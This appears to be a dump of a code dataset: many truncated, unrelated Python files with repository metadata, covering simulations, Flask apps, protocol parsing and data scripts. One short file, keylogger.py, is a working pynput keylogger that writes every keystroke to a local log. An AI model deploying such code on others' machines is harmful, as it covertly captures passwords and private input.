""" Get ... | 32.8125 | 59 | 0.617143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 214 | 0.407619 |
3c5cc632bb94b5ef7ccfb33dc669053fbfcfe760 | 1,374 | py | Python | Software/localization_sims/mlat.py | ncsurobotics/acoustics-sw8 | f2ab37416f7235c1d3681e5e2e237c26da276ed6 | [
"MIT"
] | null | null | null | Software/localization_sims/mlat.py | ncsurobotics/acoustics-sw8 | f2ab37416f7235c1d3681e5e2e237c26da276ed6 | [
"MIT"
] | null | null | null | Software/localization_sims/mlat.py | ncsurobotics/acoustics-sw8 | f2ab37416f7235c1d3681e5e2e237c26da276ed6 | [
"MIT"
] | null | null | null | from tdoa_sim import TDOASim
import numpy as np
class Multilateration(TDOASim):
# Assumptions: Three hydrophones forming a right angle in the xz plane
# Hydrophones 1 and 2 form the horizontal pair, and 2 and 3 form the vertical
# https://en.wikipedia.org/wiki/Multilateration - cartesian solution
def c... | 37.135135 | 129 | 0.532751 | 1,323 | 0.962882 | 0 | 0 | 0 | 0 | 0 | 0 | 286 | 0.208151 |
3c5dbe6d61fbd8cfdc1de683ac736616ff35e009 | 2,811 | py | Python | code/preprocess/consumption/sector/tn/tn_tx.py | Spacebody/MCM-ICM-2018-Problem-C | 89acbec8b7b08733002e570ff67637e7ba100190 | [
"MIT"
] | 1 | 2021-09-18T08:01:19.000Z | 2021-09-18T08:01:19.000Z | code/preprocess/consumption/sector/tn/tn_tx.py | Spacebody/MCM-ICM-2018-Problem-C | 89acbec8b7b08733002e570ff67637e7ba100190 | [
"MIT"
] | null | null | null | code/preprocess/consumption/sector/tn/tn_tx.py | Spacebody/MCM-ICM-2018-Problem-C | 89acbec8b7b08733002e570ff67637e7ba100190 | [
"MIT"
] | 1 | 2018-05-13T08:39:46.000Z | 2018-05-13T08:39:46.000Z | #! usr/bin/python3
import pandas as pd
import re
import numpy as np
import os
import sys
from collections import OrderedDict, defaultdict
import matplotlib as mpl
import matplotlib.pyplot as plt
# import seaborn as sns
from scipy import stats, integrate
# sns.set() # switch to seaborn default
# sns.set_style("whitegr... | 30.554348 | 106 | 0.645322 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 838 | 0.298115 |
3c5e4a066c2e5a426373071cec77c0e0b8244f50 | 10,040 | py | Python | dvrip/message.py | alexshpilkin/xmeye | e76df1d091d85aa6cffb5c332ba6ae419ac9ac89 | [
"CC0-1.0"
] | 34 | 2019-05-04T06:06:17.000Z | 2021-12-06T03:28:40.000Z | dvrip/message.py | alexshpilkin/xmeye | e76df1d091d85aa6cffb5c332ba6ae419ac9ac89 | [
"CC0-1.0"
] | 9 | 2019-06-17T09:37:50.000Z | 2020-10-24T22:36:29.000Z | dvrip/message.py | alexshpilkin/xmeye | e76df1d091d85aa6cffb5c332ba6ae419ac9ac89 | [
"CC0-1.0"
] | 21 | 2019-06-17T09:34:27.000Z | 2022-03-22T18:14:22.000Z | from abc import abstractmethod
from datetime import datetime, timedelta
from enum import Enum, unique
from io import RawIOBase
from json import dumps, load
from string import hexdigits
from typing import ClassVar, Generator, Generic, Iterable, List, Optional, \
Sequence, Type, TypeVar, Union, cast
f... | 30.892308 | 112 | 0.684363 | 6,897 | 0.678171 | 1,736 | 0.170698 | 4,926 | 0.484366 | 0 | 0 | 2,310 | 0.227139 |
3c699b1ae35663ad09b05a480af4601cff664c7b | 1,276 | py | Python | opennem/core/stations/station_code_from_duids.py | willhac/opennem | c8fbcd60e06898e1eeb2dad89548c4ece1b9a319 | [
"MIT"
] | null | null | null | opennem/core/stations/station_code_from_duids.py | willhac/opennem | c8fbcd60e06898e1eeb2dad89548c4ece1b9a319 | [
"MIT"
] | 1 | 2020-09-06T04:17:59.000Z | 2020-09-06T04:17:59.000Z | opennem/core/stations/station_code_from_duids.py | tourdownunder/opennem | deec3e2079db9d9d84171010fd0c239170d1e7ce | [
"MIT"
] | null | null | null | from functools import reduce
from typing import List, Optional
from opennem.core.normalizers import is_single_number
def getcommonletters(strlist):
return "".join(
[
x[0]
for x in zip(*strlist)
if reduce(lambda a, b: (a == b) and a or None, x)
]
)
def fin... | 19.044776 | 63 | 0.580721 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 183 | 0.143417 |
3c6baa9940a450d52040d4e352d35fb76791c5db | 1,733 | py | Python | models/Schedule.py | CargaPesada/webservice | 2725dc9ac97e8e09a94b0a752b0885bc77d8a3d4 | [
"MIT"
] | null | null | null | models/Schedule.py | CargaPesada/webservice | 2725dc9ac97e8e09a94b0a752b0885bc77d8a3d4 | [
"MIT"
] | 1 | 2019-11-06T19:21:49.000Z | 2019-11-06T19:21:49.000Z | models/Schedule.py | CargaPesada/webservice | 2725dc9ac97e8e09a94b0a752b0885bc77d8a3d4 | [
"MIT"
] | null | null | null | from database.interface import FirebaseInterface
class Schedule:
def __init__(self):
self.id = None
self.titulo = None
self.data = None
self.caminhao = None
self.mecanico = None
def validateFields(self, office_schedule):
if self.titulo is None:
rai... | 30.403509 | 83 | 0.590306 | 1,692 | 0.970183 | 0 | 0 | 279 | 0.159977 | 0 | 0 | 305 | 0.174885 |
3c6c95883a2948952fd4f838b95cb8573feed183 | 381 | py | Python | Python/DS/tuple.py | salikansari6/interview-prep | 17e98fbb15f87c9f2ecd293896e613f5fe01d3a3 | [
"MIT"
] | 1 | 2021-08-23T18:18:41.000Z | 2021-08-23T18:18:41.000Z | Python/DS/tuple.py | salikansari6/interview-prep | 17e98fbb15f87c9f2ecd293896e613f5fe01d3a3 | [
"MIT"
] | null | null | null | Python/DS/tuple.py | salikansari6/interview-prep | 17e98fbb15f87c9f2ecd293896e613f5fe01d3a3 | [
"MIT"
] | 1 | 2021-08-24T15:40:15.000Z | 2021-08-24T15:40:15.000Z | # Tuples are immutable
print("============ tuples ============")
print()
tuples = (12345, 54321, 'hello!')
print(tuples)
u = tuples, (1, 2, 3, 4, 5)
print(u)
# The statement t = 12345, 54321, 'hello!' is an example of tuple packing:
# the values 12345, 54321 and 'hello!'
# are packed together in a tuple. The revers... | 22.411765 | 74 | 0.627297 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 248 | 0.650919 |
3c6cfcc4cc77979d142a645197f0b512545357ec | 4,304 | py | Python | modules/labelfusion/imagecapture.py | hz-ants/LabelFusion-docker2- | 8dc116064a1bdcfa2c2dd814580b5f43d46c6f40 | [
"BSD-3-Clause"
] | 313 | 2017-07-16T02:00:16.000Z | 2022-03-31T11:00:10.000Z | modules/labelfusion/imagecapture.py | hz-ants/LabelFusion-docker2- | 8dc116064a1bdcfa2c2dd814580b5f43d46c6f40 | [
"BSD-3-Clause"
] | 94 | 2017-07-16T19:59:06.000Z | 2022-03-30T08:14:22.000Z | modules/labelfusion/imagecapture.py | hz-ants/LabelFusion-docker2- | 8dc116064a1bdcfa2c2dd814580b5f43d46c6f40 | [
"BSD-3-Clause"
] | 87 | 2017-07-14T16:01:54.000Z | 2022-03-23T17:33:47.000Z | """
This class consumes and lcmlog, extracts the images and saves them
to png
"""
import os
# director imports
import director.vtkAll as vtk
from director import filterUtils
from director import lcmUtils
from director import cameraview
import bot_core as lcmbotcore
from . import utils
class ImageCapture(object):
... | 32.360902 | 137 | 0.657528 | 3,601 | 0.836664 | 0 | 0 | 1,820 | 0.422862 | 0 | 0 | 1,087 | 0.252556 |
3c6d83deebd752e29ffb47bbb2f60866fbe395f9 | 1,947 | py | Python | pattern6-in-place-reversal-of-a-linkedlist/4. Reverse alternating K-element Sub-list (medium).py | dopiwoo/Grokking-the-Coding-Interview | 78b2bacf9d761b460ac78882bac42df7465feec9 | [
"MIT"
] | null | null | null | pattern6-in-place-reversal-of-a-linkedlist/4. Reverse alternating K-element Sub-list (medium).py | dopiwoo/Grokking-the-Coding-Interview | 78b2bacf9d761b460ac78882bac42df7465feec9 | [
"MIT"
] | null | null | null | pattern6-in-place-reversal-of-a-linkedlist/4. Reverse alternating K-element Sub-list (medium).py | dopiwoo/Grokking-the-Coding-Interview | 78b2bacf9d761b460ac78882bac42df7465feec9 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Wed Feb 3 16:59:33 2021
@author: dopiwoo
Given the head of a LinkedList and a number 'k', reverse every alternating 'k' sized sub-list starting from the head.
If, in the end, you are left with a sub-list with less than 'k' elements, reverse it too.
"""
... | 24.037037 | 117 | 0.546482 | 359 | 0.184386 | 0 | 0 | 0 | 0 | 0 | 0 | 658 | 0.337956 |
3c6ebf3a0e9fc7f67c121517ca72e84e2133c821 | 833 | py | Python | scripts/datasets/dataset.py | daniele21/Financial_Sentiment_Analysis | 3734733f2d1d291c81a6239de121edcce861b463 | [
"MIT"
] | null | null | null | scripts/datasets/dataset.py | daniele21/Financial_Sentiment_Analysis | 3734733f2d1d291c81a6239de121edcce861b463 | [
"MIT"
] | null | null | null | scripts/datasets/dataset.py | daniele21/Financial_Sentiment_Analysis | 3734733f2d1d291c81a6239de121edcce861b463 | [
"MIT"
] | 1 | 2021-08-18T01:40:56.000Z | 2021-08-18T01:40:56.000Z | from typing import Text, Dict
import torch
from torch.utils.data import Dataset
class MyDataset:
def __init__(self, filepath: Text):
self.data = self.load_data(filepath)
self.prep_data = None
def load_data(self, filepath):
pass
def get_x(self, data=None):
pass
def ... | 16.333333 | 53 | 0.619448 | 740 | 0.888355 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
3c6f84e2e28d5d42137620dfcf9d443aafcc4dc6 | 1,447 | py | Python | citadel/ext.py | CMGS/citadel | 8363a598ed4422d6671f06bad7def3ebb848f441 | [
"MIT"
] | null | null | null | citadel/ext.py | CMGS/citadel | 8363a598ed4422d6671f06bad7def3ebb848f441 | [
"MIT"
] | null | null | null | citadel/ext.py | CMGS/citadel | 8363a598ed4422d6671f06bad7def3ebb848f441 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from authlib.client.apps import github
from authlib.flask.client import OAuth
from etcd import Client
from flask import session
from flask_caching import Cache
from flask_mako import MakoTemplates
from flask_session import Session
from flask_sockets import Sockets
from flask_sqlalchemy import S... | 27.301887 | 96 | 0.769178 | 0 | 0 | 0 | 0 | 125 | 0.086386 | 0 | 0 | 249 | 0.17208 |
3c6f8f5f4f2e782fc4abccdc891d3ed15ff06ea9 | 6,625 | py | Python | generate_fake_data.py | upb-uc4/deployment | 0c82de72bb7e758c5afaf8866b238ff17cf908ea | [
"Apache-2.0"
] | null | null | null | generate_fake_data.py | upb-uc4/deployment | 0c82de72bb7e758c5afaf8866b238ff17cf908ea | [
"Apache-2.0"
] | 2 | 2021-02-13T13:19:45.000Z | 2021-02-13T14:46:02.000Z | generate_fake_data.py | upb-uc4/deployment | 0c82de72bb7e758c5afaf8866b238ff17cf908ea | [
"Apache-2.0"
] | null | null | null | import json
import random
import os
import re
from faker import Faker
################################################################################
# Some settings:
################################################################################
ADMIN_COUNT = 2
STUDENT_COUNT = 40
LECTURER_COUNT = 10
EXAM_REG_COU... | 30.113636 | 148 | 0.579019 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,758 | 0.265238 |
3c70133f7cd579129c6a6ff4af02a403f5a5c1b6 | 2,972 | py | Python | CodeMixed-Text-Generator/cm_text_generator/lattice_operations.py | mohdsanadzakirizvi/CodeMixed-Text-Generator | 47740eeff3ecb46f5294711f4fe5d3a03a6e0b54 | [
"MIT"
] | 16 | 2021-06-03T07:16:15.000Z | 2022-03-24T13:07:31.000Z | CodeMixed-Text-Generator/cm_text_generator/lattice_operations.py | mohdsanadzakirizvi/CodeMixed-Text-Generator | 47740eeff3ecb46f5294711f4fe5d3a03a6e0b54 | [
"MIT"
] | 6 | 2021-06-30T12:06:33.000Z | 2022-02-10T04:49:10.000Z | CodeMixed-Text-Generator/cm_text_generator/lattice_operations.py | mohdsanadzakirizvi/CodeMixed-Text-Generator | 47740eeff3ecb46f5294711f4fe5d3a03a6e0b54 | [
"MIT"
] | 4 | 2021-07-04T14:21:56.000Z | 2021-08-23T19:55:06.000Z | ###LATTICE OPERATIONS
from .data_structure_definitions import *
def trimTrapStates(doof):
flag = 1
while flag == 1:
flag = 0
statesToDelete = []
dict_items = set([t[0][0] for t in doof.transitions.items()])
for i, state in enumerate(doof.states):
if state not in dict_items:
# if len([0... | 33.393258 | 116 | 0.605316 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 196 | 0.065949 |
3c71ada98a6d21e9df0e6b1ca11604cd29f59b82 | 2,949 | py | Python | vnpy/app/influx_recorder/ui/widget.py | hadrianl/vnpy | f197df974eb6d3a0fddb81b591dd98d3d102a4a2 | [
"MIT"
] | 5 | 2019-05-24T05:19:55.000Z | 2020-07-29T13:21:49.000Z | vnpy/app/influx_recorder/ui/widget.py | hadrianl/vnpy | f197df974eb6d3a0fddb81b591dd98d3d102a4a2 | [
"MIT"
] | null | null | null | vnpy/app/influx_recorder/ui/widget.py | hadrianl/vnpy | f197df974eb6d3a0fddb81b591dd98d3d102a4a2 | [
"MIT"
] | 2 | 2019-07-01T02:14:04.000Z | 2020-07-29T13:21:53.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2020/10/28 0028 11:34
# @Author : Hadrianl
# @File : widget
from vnpy.event import EventEngine, Event
from vnpy.trader.engine import MainEngine
from vnpy.trader.ui import QtWidgets, QtCore
from ..engine import APP_NAME
class InfluxRecorder(QtWidgets.QW... | 31.709677 | 84 | 0.665649 | 2,687 | 0.903193 | 0 | 0 | 0 | 0 | 0 | 0 | 282 | 0.09479 |
3c749728947c088616bb2bf3b46fdb1485731043 | 5,021 | py | Python | application/views/client/users/views.py | Zinston/giftr | 997d4b8127b34cc0009621d66f69bc00ed3b985a | [
"Apache-2.0"
] | null | null | null | application/views/client/users/views.py | Zinston/giftr | 997d4b8127b34cc0009621d66f69bc00ed3b985a | [
"Apache-2.0"
] | null | null | null | application/views/client/users/views.py | Zinston/giftr | 997d4b8127b34cc0009621d66f69bc00ed3b985a | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
"""Define routes for CRUD operations on users."""
from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker
from application.models import (Base,
Gift,
Claim,
User)
from flask import (request,
redi... | 28.050279 | 113 | 0.632344 | 0 | 0 | 0 | 0 | 3,803 | 0.757419 | 0 | 0 | 2,221 | 0.442342 |
3c7515d17c45501d0f2599188199dfb75f86e5a6 | 2,077 | py | Python | server.py | mleger45/embevent | c717adb6d172b83ae12cb82021df856831a4e4fb | [
"MIT"
] | null | null | null | server.py | mleger45/embevent | c717adb6d172b83ae12cb82021df856831a4e4fb | [
"MIT"
] | null | null | null | server.py | mleger45/embevent | c717adb6d172b83ae12cb82021df856831a4e4fb | [
"MIT"
] | null | null | null | from flask import Flask
import requests
from bs4 import BeautifulSoup
import os
import sqlite3
import logging
logging.basicConfig(filename='example.log', level=logging.DEBUG)
URL = os.environ['SOURCE_URL']
AGENT = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661... | 32.968254 | 131 | 0.632162 | 0 | 0 | 0 | 0 | 277 | 0.133365 | 0 | 0 | 617 | 0.297063 |
3c761056de60be7b447d3aeb8075e25a0bb554cd | 1,278 | py | Python | nodaysoff/__init__.py | attila5287/no_days_off | 2482b90b841032976002a3888aa546bb7070a46c | [
"MIT"
] | 1 | 2019-12-28T05:25:01.000Z | 2019-12-28T05:25:01.000Z | nodaysoff/__init__.py | attila5287/no_days_off | 2482b90b841032976002a3888aa546bb7070a46c | [
"MIT"
] | 6 | 2019-12-28T01:12:25.000Z | 2022-03-12T00:10:08.000Z | nodaysoff/__init__.py | attila5287/no_days_off | 2482b90b841032976002a3888aa546bb7070a46c | [
"MIT"
] | null | null | null | from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from flask_bcrypt import Bcrypt
from flask_login import LoginManager
from flask_mail import Mail
from nodaysoff.config import Config
# from flask_session import Session
db = SQLAlchemy()
bcrypt = Bcrypt()
login_manager = LoginManager()
login_ma... | 30.428571 | 59 | 0.739437 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 136 | 0.106416 |
3c768b97cd3aef1e83be11569f9ef43e98211953 | 695 | py | Python | examples/lobpcg_test.py | Forgotten/modelscf | 2cf0fe5210fadcee7da70d6bf035336c38d150db | [
"BSD-3-Clause-LBNL"
] | 1 | 2021-09-22T21:48:02.000Z | 2021-09-22T21:48:02.000Z | examples/lobpcg_test.py | Forgotten/modelscf | 2cf0fe5210fadcee7da70d6bf035336c38d150db | [
"BSD-3-Clause-LBNL"
] | 2 | 2018-01-19T18:46:35.000Z | 2019-04-09T22:59:46.000Z | examples/lobpcg_test.py | Forgotten/modelscf | 2cf0fe5210fadcee7da70d6bf035336c38d150db | [
"BSD-3-Clause-LBNL"
] | 6 | 2018-01-19T18:34:12.000Z | 2018-04-06T04:13:03.000Z | # scrip to test the lobpcg_sep eigenvalue solver
include("../src/lobpcg_sep.jl")
using LinearAlgebra
Ns = 100
k = 5 # number of eigenvectors
A = sqrt(Ns)*Diagonal(ones(Ns)) + rand(Ns, Ns)
A = 0.5*(A + A')
(e, X) = eigen(A)
# orthonormal starting guess of the eigenvectors
X0 = qr(rand(Ns, k + 6)).Q[:, 1:k+6]
#comp... | 24.821429 | 81 | 0.667626 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 332 | 0.477698 |
3c7727ecdb99959039e2a39114163de2e8432514 | 1,549 | py | Python | TraitsUI/examples/ButtonEditor_demo.py | marshallmcdonnell/interactive_plotting | 35e9a781fa1a7328679794d27e24e194e35c012b | [
"MIT"
] | null | null | null | TraitsUI/examples/ButtonEditor_demo.py | marshallmcdonnell/interactive_plotting | 35e9a781fa1a7328679794d27e24e194e35c012b | [
"MIT"
] | null | null | null | TraitsUI/examples/ButtonEditor_demo.py | marshallmcdonnell/interactive_plotting | 35e9a781fa1a7328679794d27e24e194e35c012b | [
"MIT"
] | null | null | null | """
Implementation of a ButtonEditor demo plugin for Traits UI demo program.
This demo shows each of the two styles of the ButtonEditor.
(As of this writing, they are identical.)
"""
from traits.api import HasTraits, Button
from traitsui.api import Item, View, Group
from traitsui.message import message
#-----------... | 30.98 | 78 | 0.551323 | 919 | 0.593286 | 0 | 0 | 0 | 0 | 0 | 0 | 825 | 0.532602 |
3c77652672bdfce35cef51c965f7b9c88501f504 | 1,181 | py | Python | setup.py | FelixSchwarz/trac-dev-platform | d9ede1eb2c883466968a048eaede95ff868a4fda | [
"MIT"
] | null | null | null | setup.py | FelixSchwarz/trac-dev-platform | d9ede1eb2c883466968a048eaede95ff868a4fda | [
"MIT"
] | null | null | null | setup.py | FelixSchwarz/trac-dev-platform | d9ede1eb2c883466968a048eaede95ff868a4fda | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: UTF-8 -*-
import setuptools
version='0.1'
setuptools.setup(
name='TracDevPlatformPlugin',
version=version,
description='Provide helpers to ease development on top of Trac',
author='Felix Schwarz',
author_email='felix.schwarz@oss.schwarz.eu',
url='http:/... | 31.078947 | 101 | 0.653683 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 679 | 0.574936 |
3c78adc10fdbecc0bce8f85ff740740007a63985 | 276 | py | Python | keylogger.py | ReLRail/project-touhou | fbfbdb81c40aa9b87143797c32af43d4e9d7c1e9 | [
"MIT"
] | null | null | null | keylogger.py | ReLRail/project-touhou | fbfbdb81c40aa9b87143797c32af43d4e9d7c1e9 | [
"MIT"
] | null | null | null | keylogger.py | ReLRail/project-touhou | fbfbdb81c40aa9b87143797c32af43d4e9d7c1e9 | [
"MIT"
] | null | null | null | from pynput.keyboard import Key, Listener
import logging
logging.basicConfig(filename=("keylog.txt"), level=logging.DEBUG, format=" %(asctime)s - %(message)s")
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join() | 23 | 102 | 0.735507 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 40 | 0.144928 |
3c797bad94039032f3ec8a0956509b976eb165dd | 1,372 | py | Python | app/core/migrations/0007_order.py | ifiokeyo/RecipeAPI | 8ec8f8e4ca868a9c9cd97d534dc6f42a4fa14974 | [
"MIT"
] | null | null | null | app/core/migrations/0007_order.py | ifiokeyo/RecipeAPI | 8ec8f8e4ca868a9c9cd97d534dc6f42a4fa14974 | [
"MIT"
] | null | null | null | app/core/migrations/0007_order.py | ifiokeyo/RecipeAPI | 8ec8f8e4ca868a9c9cd97d534dc6f42a4fa14974 | [
"MIT"
] | null | null | null | # Generated by Django 2.2.6 on 2019-11-02 09:32
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
import uuid
class Migration(migrations.Migration):
dependencies = [
('core', '0006_auto_20191102_0706'),
]
operations = [
migrations... | 45.733333 | 159 | 0.618076 | 1,201 | 0.875364 | 0 | 0 | 0 | 0 | 0 | 0 | 303 | 0.220845 |
3c7b515ae39c770bf0370e05e2c3d7ec44f6e7fd | 2,687 | py | Python | src/components/Bot.py | Vini-Dev-Py/Bot-ML | f1dfda7a43940a7ada707ccaa9dde486b3c5ddd3 | [
"MIT"
] | null | null | null | src/components/Bot.py | Vini-Dev-Py/Bot-ML | f1dfda7a43940a7ada707ccaa9dde486b3c5ddd3 | [
"MIT"
] | null | null | null | src/components/Bot.py | Vini-Dev-Py/Bot-ML | f1dfda7a43940a7ada707ccaa9dde486b3c5ddd3 | [
"MIT"
] | null | null | null | from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import time
import random
import datetime
from tkinter import *
from tkinter import messagebox
from tkinter import ttk
import functools
# import pathlib
from conflista import Bot
from salvacode import Salvar
from escreve import escreve... | 26.60396 | 106 | 0.671381 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 768 | 0.284761 |
3c7b6e7f1356932087387fb61f2acb5391ed0b70 | 943 | py | Python | src/data/make_atac.py | mguo123/pan_omics | e1cacd543635b398fb08c0b31d08fa6b7c389658 | [
"MIT"
] | null | null | null | src/data/make_atac.py | mguo123/pan_omics | e1cacd543635b398fb08c0b31d08fa6b7c389658 | [
"MIT"
] | null | null | null | src/data/make_atac.py | mguo123/pan_omics | e1cacd543635b398fb08c0b31d08fa6b7c389658 | [
"MIT"
] | null | null | null | """
process_atac.py
Margaret Guo
04/15/2020
footprinting (.bed) --> csv)
notebooks
- make_hichip_df-withsnps-cancer-only
"""
#### FIX FOR HOCO
def footprinting_to_df(footprinting_file):
footprinting_df = pd.read_table(footprinting_file,header=None)
footprinting_df.columns = ['chr', 'start', 'end', 'motif... | 29.46875 | 104 | 0.69035 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 267 | 0.283139 |
3c7b9bebae1fcd81af0109ae86287f833fb440e9 | 834 | py | Python | waimai/libs/login.py | xucheng11/test | 2987d34823825798bffac3cfb30cadab42dae998 | [
"MulanPSL-1.0"
] | null | null | null | waimai/libs/login.py | xucheng11/test | 2987d34823825798bffac3cfb30cadab42dae998 | [
"MulanPSL-1.0"
] | null | null | null | waimai/libs/login.py | xucheng11/test | 2987d34823825798bffac3cfb30cadab42dae998 | [
"MulanPSL-1.0"
] | null | null | null | """
-------------------------------------------------
# @Project :外卖系统
# @File :login
# @Date :2021/8/1 18:16
# @Author :小成
# @Email :1224069978
# @Software :PyCharm
-------------------------------------------------
"""
import hashlib,copy,requests
from conf.host import *
def get_md5(password):
md5 = ... | 25.272727 | 55 | 0.52518 | 370 | 0.437352 | 0 | 0 | 0 | 0 | 0 | 0 | 319 | 0.377069 |
3c7be908e5d846fc839b0269f1d2587bd74e3afb | 409 | py | Python | identities.py | Nandan-18/Algebraic-Identites | 7ba979fbddbf1d487e728ed41aafd1eed5e3e100 | [
"MIT"
] | null | null | null | identities.py | Nandan-18/Algebraic-Identites | 7ba979fbddbf1d487e728ed41aafd1eed5e3e100 | [
"MIT"
] | null | null | null | identities.py | Nandan-18/Algebraic-Identites | 7ba979fbddbf1d487e728ed41aafd1eed5e3e100 | [
"MIT"
] | null | null | null |
# Supporting Module
# identities.py
def exp1(a, b):
return a ** 2 + 2 * a * b + b ** 2
def exp2(a, b):
return a ** 2 - 2 * a * b + b ** 2
def exp3(a, b):
return (a + b) * (a - b)
def exp4(a, b):
return (a + b) ** 2 - 2 * a * b
def exp5(a, b):
return a ** 3 + 3 * a ** 2 * b + 3 * a * b ** 2... | 15.148148 | 60 | 0.405868 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 34 | 0.08313 |
3c7e63e11d96ab3935b8bb543acdf655bcf3abc1 | 14,296 | py | Python | betsy.py | animeshsagar/Betsy | 5cc4ca126fe56803696967b59a9ace61ae7e3f7b | [
"MIT"
] | null | null | null | betsy.py | animeshsagar/Betsy | 5cc4ca126fe56803696967b59a9ace61ae7e3f7b | [
"MIT"
] | null | null | null | betsy.py | animeshsagar/Betsy | 5cc4ca126fe56803696967b59a9ace61ae7e3f7b | [
"MIT"
] | null | null | null | #!/usr/bin/env python2
# Design Decisions
# Heuristic : Heuristic tries to maximize the pieces of that particular player on top n rows
# Min-Max : Min-Max algorithm has been used
# IDS : Iterative deepening search has been used to move down the tree(depth:100)
# No Time Constrain : No time constrain has been taken.In... | 54.773946 | 204 | 0.25007 | 307 | 0.021475 | 0 | 0 | 0 | 0 | 0 | 0 | 8,397 | 0.587367 |
3c80ebcea041e63107d9067c90a11c330c458c26 | 503 | py | Python | Triple predictor P3.6/generate_lines.py | oligogenic/DIDA_SSL | cbf61892bfde999eadf31db918833f6c75a5c9f3 | [
"MIT"
] | 1 | 2018-07-19T10:34:46.000Z | 2018-07-19T10:34:46.000Z | Triple predictor P3.6/generate_lines.py | oligogenic/DIDA_SSL | cbf61892bfde999eadf31db918833f6c75a5c9f3 | [
"MIT"
] | null | null | null | Triple predictor P3.6/generate_lines.py | oligogenic/DIDA_SSL | cbf61892bfde999eadf31db918833f6c75a5c9f3 | [
"MIT"
] | null | null | null | def binary(n):
if n not in binary.memoize:
binary.memoize[n] = binary(n//2) + str(n % 2)
return binary.memoize[n]
binary.memoize = {0: '0', 1: '1'}
def get_binary_l(n, l):
bin_str = binary(n)
return (l - len(bin_str))*'0' + bin_str
n_f = 9
with open('command_lines.txt', 'w') as out:... | 33.533333 | 151 | 0.61829 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 139 | 0.276342 |
3c81582355ba3220bcb59a6354b57fa7be7a46e7 | 17,422 | py | Python | angular_binning/snr_per_bin.py | robinupham/angular_binning | da3f6bf32efd8bad1a7f61a9a457f521ed8ebe87 | [
"MIT"
] | null | null | null | angular_binning/snr_per_bin.py | robinupham/angular_binning | da3f6bf32efd8bad1a7f61a9a457f521ed8ebe87 | [
"MIT"
] | null | null | null | angular_binning/snr_per_bin.py | robinupham/angular_binning | da3f6bf32efd8bad1a7f61a9a457f521ed8ebe87 | [
"MIT"
] | null | null | null | """
Functions for plotting the signal to noise per angular bin.
"""
import math
import os.path
import matplotlib
import matplotlib.pyplot as plt
import numpy as np
import angular_binning.like_cf_gauss as like_cf
DEG_TO_RAD = math.pi / 180.0
def plot_cl_cf(diag_she_cl_path, she_nl_path, lmin, lmax, theta_min, the... | 47.862637 | 120 | 0.662438 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7,035 | 0.4038 |
3c821672ff666bf16f14e39715a6449abc332ecc | 1,182 | py | Python | tests/integration/test_use_cases/test_18_confirm_purchase.py | datacraft-dsc/starfish-py | 95ff24410f056e8e2d313c3af97439fe003e294a | [
"Apache-2.0"
] | 4 | 2019-02-08T03:47:36.000Z | 2019-10-17T21:45:23.000Z | tests/integration/test_use_cases/test_18_confirm_purchase.py | datacraft-dsc/starfish-py | 95ff24410f056e8e2d313c3af97439fe003e294a | [
"Apache-2.0"
] | 81 | 2019-02-09T01:01:51.000Z | 2020-07-01T08:35:07.000Z | tests/integration/test_use_cases/test_18_confirm_purchase.py | oceanprotocol/ocean-py | 318ad0de2519e61d0a301c040a48d1839cd82425 | [
"Apache-2.0"
] | 1 | 2021-01-28T12:14:03.000Z | 2021-01-28T12:14:03.000Z | """
test_18_confirm_purchase
As a developer building a service provider Agent for Ocean,
I need a way to confirm if an Asset has been sucessfully puchased so that
I can determine whether to serve the asset to a given requestor
"""
import secrets
import logging
import json
from starfish.asset import ... | 35.818182 | 91 | 0.764805 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 348 | 0.294416 |
3c8705d494d8a3a52f621df0705a17180cb44780 | 1,230 | py | Python | blaze/expr/tests/test_datetime.py | vitan/blaze | 0cddb630ad1cf6be3967943337529adafa006ef5 | [
"BSD-3-Clause"
] | 1 | 2015-11-06T00:46:56.000Z | 2015-11-06T00:46:56.000Z | blaze/expr/tests/test_datetime.py | vitan/blaze | 0cddb630ad1cf6be3967943337529adafa006ef5 | [
"BSD-3-Clause"
] | null | null | null | blaze/expr/tests/test_datetime.py | vitan/blaze | 0cddb630ad1cf6be3967943337529adafa006ef5 | [
"BSD-3-Clause"
] | null | null | null | from blaze.expr import TableSymbol
from blaze.expr.datetime import isdatelike
from blaze.compatibility import builtins
from datashape import dshape
import pytest
def test_datetime_dshape():
t = TableSymbol('t', '5 * {name: string, when: datetime}')
assert t.when.day.dshape == dshape('5 * int32')
assert t.... | 29.285714 | 68 | 0.669919 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 259 | 0.210569 |
3c8be6bc259868341293934801c28e199c01bfba | 1,539 | py | Python | dac4automlcomp/score.py | automl/dac4automlcomp | f1a8b4e2f0fc85ad19b86aa41856496732fed901 | [
"Apache-2.0"
